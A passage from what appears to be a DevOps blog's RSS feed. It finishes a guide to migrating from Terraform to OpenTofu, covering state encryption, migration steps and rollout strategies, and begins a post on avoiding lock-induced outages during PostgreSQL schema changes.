              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Terraform&#39;s state file holds everything, including resource attributes that are often sensitive. By default it sits in plaintext in your backend. If someone reads your S3 bucket, they read your state.</p>
<p>OpenTofu encrypts state at rest, including remote state, with no external wrapper. You configure a key provider (AWS KMS, GCP KMS, Vault, or a passphrase) and a method, and OpenTofu handles the rest.</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">terraform</span> {
  encryption {
    key_provider <span class="hljs-string">&quot;aws_kms&quot;</span> <span class="hljs-string">&quot;main&quot;</span> {
      kms_key_id = <span class="hljs-string">&quot;arn:aws:kms:us-east-1:111122223333:key/abcd-1234&quot;</span>
      region     = <span class="hljs-string">&quot;us-east-1&quot;</span>
      key_spec   = <span class="hljs-string">&quot;AES_256&quot;</span>
    }

    method <span class="hljs-string">&quot;aes_gcm&quot;</span> <span class="hljs-string">&quot;main&quot;</span> {
      keys = key_provider.aws_kms.main
    }

    state {
      method = method.aes_gcm.main
    }

    plan {
      method = method.aes_gcm.main
    }
  }
}
</code></pre><p>Now, even if the backend is exposed, the state and plan files are unreadable without the key. Terraform&#39;s open-source CLI has no equivalent.</p>
<h3 id="h3-provider-for_each" class="group relative scroll-mt-24">
        <a href="#h3-provider-for_each" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Provider for_each
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-provider-for_each"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You can define multiple instances of a provider and iterate over them. This is the clean answer to the old problem of managing one provider configuration per region or per account without copy-pasting blocks for each one.</p>
<h3 id="h3-the-exclude-flag" class="group relative scroll-mt-24">
        <a href="#h3-the-exclude-flag" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The -exclude flag
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-exclude-flag"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>-target</code> lets you act on a specific resource. OpenTofu adds the inverse, <code>-exclude</code>, so you can plan or apply everything except a resource you want to leave alone.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Apply everything except the database, which you are handling separately</span>
tofu apply -exclude=aws_db_instance.primary
</code></pre><h3 id="h3-early-variable-evaluation" class="group relative scroll-mt-24">
        <a href="#h3-early-variable-evaluation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Early variable evaluation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-early-variable-evaluation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTofu can evaluate variables early, which means you can use them in places Terraform rejects, such as module <code>source</code> and <code>backend</code> configuration. That removes a class of workarounds teams have carried for years.</p>
<h3 id="h3-what-v112-added-may-2026" class="group relative scroll-mt-24">
        <a href="#h3-what-v112-added-may-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What v1.12 added (May 2026)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-v112-added-may-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The 1.12 release kept the gap open. Two changes that matter in daily use:</p>
<ul>
<li><code>destroy = false</code> in a resource lifecycle lets OpenTofu remove an object from state without destroying the real resource, a declarative version of <code>state rm</code>.</li>
<li><code>prevent_destroy</code> can now reference variables and other symbols in the module, instead of only a literal <code>true</code> or <code>false</code>.</li>
</ul>
<p>None of these is a reason to switch on its own. Together they show the fork is shipping, not coasting.</p>
<h2 id="h2-the-migration-is-the-easy-part" class="group relative scroll-mt-24">
        <a href="#h2-the-migration-is-the-easy-part" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The migration is the easy part
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-migration-is-the-easy-part"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is the part most teams get backwards. They treat the migration as the risk. It is not. Terraform and OpenTofu share the same state format. OpenTofu reads and writes the same <code>.tfstate</code> JSON that Terraform produces. For most projects, moving over is a binary swap and a pipeline change.</p>
<h3 id="h3-step-1-back-up-your-state" class="group relative scroll-mt-24">
        <a href="#h3-step-1-back-up-your-state" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: back up your state
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-1-back-up-your-state"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Always start here, no matter how confident you are.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pull the current state to a local file before touching anything</span>
terraform state pull &gt; terraform.tfstate.backup
</code></pre><p>If you use a remote backend, also confirm you have versioning enabled (S3 versioning, for example) so you can roll back.</p>
<h3 id="h3-step-2-install-the-tofu-binary" class="group relative scroll-mt-24">
        <a href="#h3-step-2-install-the-tofu-binary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: install the tofu binary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-2-install-the-tofu-binary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># macOS</span>
brew install opentofu

<span class="hljs-comment"># Linux, via the official install script</span>
curl -fsSL https://get.opentofu.org/install-opentofu.sh -o install-opentofu.sh
<span class="hljs-built_in">chmod</span> +x install-opentofu.sh
./install-opentofu.sh --install-method deb

tofu version
<span class="hljs-comment"># OpenTofu v1.12.0</span>
</code></pre><h3 id="h3-step-3-initialize-with-opentofu" class="group relative scroll-mt-24">
        <a href="#h3-step-3-initialize-with-opentofu" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: initialize with OpenTofu
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-3-initialize-with-opentofu"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run <code>tofu init</code> in the project. This re-initializes the working directory and pulls providers from the OpenTofu registry instead of the Terraform registry.</p>
<pre><code class="hljs language-bash">tofu init
<span class="hljs-comment"># Initializing the backend...</span>
<span class="hljs-comment"># Initializing provider plugins...</span>
<span class="hljs-comment"># - Finding hashicorp/aws versions matching &quot;&gt;= 5.0&quot;...</span>
<span class="hljs-comment"># - Installing hashicorp/aws v5.x...</span>
<span class="hljs-comment"># OpenTofu has been successfully initialized!</span>
</code></pre><h3 id="h3-step-4-plan-before-you-apply" class="group relative scroll-mt-24">
        <a href="#h3-step-4-plan-before-you-apply" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: plan before you apply
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-4-plan-before-you-apply"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the rule that keeps you safe. Your first OpenTofu command against existing state is always <code>tofu plan</code>, never <code>tofu apply</code>. A clean migration shows no changes.</p>
<pre><code class="hljs language-bash">tofu plan
<span class="hljs-comment"># No changes. Your infrastructure matches the configuration.</span>
</code></pre><p>If you see unexpected changes, stop and investigate before applying. Common causes are provider version drift or a Terraform version that wrote state OpenTofu does not recognize. The version-skew note below covers the second case.</p>
<h3 id="h3-step-5-update-cicd" class="group relative scroll-mt-24">
        <a href="#h3-step-5-update-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: update CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-5-update-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Find every place your pipelines call <code>terraform</code> and swap it for <code>tofu</code>. The subcommands and flags are the same.</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Before (GitHub Actions)</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">terraform</span> <span class="hljs-string">init</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">terraform</span> <span class="hljs-string">plan</span> <span class="hljs-string">-out=tfplan</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">terraform</span> <span class="hljs-string">apply</span> <span class="hljs-string">tfplan</span>

<span class="hljs-comment"># After</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">tofu</span> <span class="hljs-string">init</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">tofu</span> <span class="hljs-string">plan</span> <span class="hljs-string">-out=tfplan</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">tofu</span> <span class="hljs-string">apply</span> <span class="hljs-string">tfplan</span>
</code></pre><p>For most teams, that is the whole migration. No state surgery, no rewrite.</p>
<h2 id="h2-where-the-real-lock-in-hides" class="group relative scroll-mt-24">
        <a href="#h2-where-the-real-lock-in-hides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where the real lock-in hides
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-the-real-lock-in-hides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If the migration is reversible, why does anyone hesitate? Because reversibility has a shelf life.</p>
<p>The moment you adopt an OpenTofu-only feature, the door starts closing. Encrypted state is the clearest example. Once OpenTofu writes an encrypted state file, Terraform cannot read it. The same applies to configuration that uses provider <code>for_each</code> or early evaluation in ways Terraform&#39;s parser rejects. Your code and state quietly become OpenTofu-shaped.</p>
<p>That is not a trap, it is a choice. Just make it on purpose. As long as you stay on shared features, you can move back to Terraform by swapping the binary the other way. Once you use the features that pulled you over, plan to stay.</p>
<h3 id="h3-the-version-skew-gotcha" class="group relative scroll-mt-24">
        <a href="#h3-the-version-skew-gotcha" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The version-skew gotcha
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-version-skew-gotcha"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There is one real failure mode during migration. OpenTofu tracks the Terraform state format up to the version it forked from, and forward on its own line after that. If your team upgraded Terraform past the point OpenTofu supports, <code>tofu plan</code> may fail to read the state or report a format error.</p>
<p>The fix is ordered:</p>
<ol>
<li>Downgrade Terraform to a version OpenTofu supports.</li>
<li>Run <code>terraform apply</code> once to rewrite the state in the older format.</li>
<li>Migrate to OpenTofu and run <code>tofu plan</code> to confirm a clean result.</li>
</ol>
<p>This is why you test on a staging workspace first and never run <code>tofu apply</code> blind.</p>
<h2 id="h2-migration-strategies" class="group relative scroll-mt-24">
        <a href="#h2-migration-strategies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migration strategies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-migration-strategies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Pick the rollout that matches your size and risk tolerance.</p>
<p><strong>Big bang.</strong> Replace every <code>terraform</code> reference with <code>tofu</code> in one maintenance window. This suits small teams with a handful of configurations. It is fast and there is no period of running two tools side by side.</p>
<p><strong>Parallel run (dual-engine).</strong> Keep Terraform on legacy stacks, especially anything tied to Terraform Cloud or HashiCorp-specific features, and use OpenTofu for new, greenfield work. Migrate older modules when you have a reason to touch them anyway. Large organizations use this as a hedge. It avoids a risky all-at-once cutover and lets you adopt OpenTofu features only where you are ready to commit.</p>
<h2 id="h2-should-you-switch-a-decision-framework" class="group relative scroll-mt-24">
        <a href="#h2-should-you-switch-a-decision-framework" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Should you switch? A decision framework
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-should-you-switch-a-decision-framework"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">Do you build products or tooling on top of Terraform,
or need vendor-neutral governance?
        |
        +-- Yes --&gt; Switch to OpenTofu now.
        |
        No
        |
Do you want native state encryption, provider for_each,
or the other OpenTofu-only features?
        |
        +-- Yes --&gt; Switch to OpenTofu now.
        |
        No
        |
Do you have a large estate tied to Terraform Cloud / HCP?
        |
        +-- Yes --&gt; Dual-engine: OpenTofu for new work,
        |            Terraform for the locked-in stacks.
        |
        No
        |
Are you happy on Terraform Cloud, with no licensing concern?
        |
        +-- Yes --&gt; Staying is fine. Revisit yearly.
</code></pre><p><strong>Switch now</strong> if you build tooling on Terraform, care about open governance, or want the features Terraform&#39;s open-source CLI will not get. State encryption alone justifies it for many security-conscious teams.</p>
<p><strong>Run both</strong> if you have a large estate, especially one tied to Terraform Cloud or HCP-specific workflows. Move greenfield work to OpenTofu and migrate the rest over time.</p>
<p><strong>Stay</strong> if Terraform Cloud serves you well and the license does not touch your use case. There is no penalty for waiting, and the migration will be just as easy next year.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The OpenTofu question is settled enough to act on in 2026. The fork is in the CNCF, it ships features Terraform&#39;s open-source CLI does not have, and Terraform itself is now an IBM product on a source-available license.</p>
<p>The mental model to keep:</p>
<ul>
<li>The migration is easy and reversible. Same state format, swap the binary, plan before apply.</li>
<li>The lock-in is a later, deliberate choice. It starts when you adopt OpenTofu-only features, not when you switch.</li>
<li>Match the rollout to your estate. Big bang for small teams, dual-engine for large ones.</li>
</ul>
<p>Back up your state, test on staging, run <code>tofu plan</code>, and decide based on the features you actually want rather than the fear of the move. The move is the easy part.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Zero-Downtime Database Migrations for PostgreSQL in Production]]></title>
      <link>https://devops.anhp.site/posts/zero-downtime-postgresql-migrations-production</link>
      <description><![CDATA[A single ALTER TABLE can take down a busy PostgreSQL database for minutes. This post shows why that happens and how to ship schema changes safely with lock timeouts, the expand-and-contract pattern, and copy-paste SQL recipes for indexes, columns, constraints, and type changes.]]></description>
      <pubDate>Mon, 01 Jun 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/zero-downtime-postgresql-migrations-production</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[postgresql]]></category><category><![CDATA[database-migrations]]></category><category><![CDATA[zero-downtime]]></category><category><![CDATA[devops]]></category><category><![CDATA[sql]]></category>
      <content:encoded><![CDATA[<p>It is 2am. A deploy goes out that adds an index to the <code>orders</code> table. The migration looks harmless:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">CREATE</span> INDEX idx_orders_customer <span class="hljs-keyword">ON</span> orders (customer_id);
</code></pre><p>Thirty seconds later the on-call phone goes off. The API is returning 500s. The connection pool is maxed out. Every request that touches <code>orders</code> is hanging. The database is up, CPU is fine, but nothing is moving.</p>
<p>What happened is that <code>CREATE INDEX</code> without <code>CONCURRENTLY</code> takes a lock that blocks every write to the table for the entire build. On a 40 million row table that build takes minutes, and during those minutes every <code>INSERT</code>, <code>UPDATE</code>, and <code>DELETE</code> on <code>orders</code> waits in line. The web workers hold their database connections while they wait, the pool drains, and now even reads that have nothing to do with <code>orders</code> cannot get a connection.</p>
<p>That is a self-inflicted outage from one line of SQL. This post is about how to never ship that line again.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A plain <code>ALTER TABLE</code> or <code>CREATE INDEX</code> takes a heavy lock. If it has to wait behind a slow query, it blocks every other query behind it too. One stuck statement stalls the whole table.</li>
<li>Always set <code>lock_timeout</code> (and <code>statement_timeout</code>) before schema changes so a migration fails fast instead of queueing and taking the table down.</li>
<li>Use <code>CREATE INDEX CONCURRENTLY</code> for indexes. It does not block writes.</li>
<li>Use the <strong>expand-and-contract</strong> pattern for anything that changes existing columns: add the new shape, backfill, switch the app, then drop the old shape in a later deploy.</li>
<li>Add constraints with <code>NOT VALID</code> first, then <code>VALIDATE CONSTRAINT</code> separately. The validation step does not block reads or writes.</li>
<li>Backfill large tables in small batches that each commit, never one giant <code>UPDATE</code>.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>PostgreSQL 12 or newer. Most of this works on 11, but a few shortcuts (like skipping a table scan when setting <code>NOT NULL</code>) need 12+.</li>
<li>A database you can connect to with <code>psql</code> and a role that can run DDL.</li>
<li>Some way to deploy application code separately from migrations. The expand-and-contract pattern needs at least two deploys.</li>
<li>A staging database with production-like row counts. Lock behavior that is instant on 1,000 rows is a 4-minute outage on 40 million.</li>
</ul>
<h2 id="h2-why-a-simple-migration-takes-down-production" class="group relative scroll-mt-24">
        <a href="#h2-why-a-simple-migration-takes-down-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why a "simple" migration takes down production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-a-simple-migration-takes-down-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>PostgreSQL uses table-level locks for schema changes. The two that bite people most:</p>
<ul>
<li><code>CREATE INDEX</code> (without <code>CONCURRENTLY</code>) takes a <code>SHARE</code> lock. Reads still work, but every write to the table blocks until the index finishes building.</li>
<li>Most forms of <code>ALTER TABLE</code> take an <code>ACCESS EXCLUSIVE</code> lock. That blocks everything, reads included, for as long as the statement runs.</li>
</ul>
<p>For something like adding a column, the <code>ACCESS EXCLUSIVE</code> lock is held only for a moment, because on PostgreSQL 11+ adding a column with a constant default is a metadata change. So why do people still get outages from a fast <code>ALTER TABLE</code>?</p>
<p>The answer is the lock queue, and it is the part most people miss.</p>
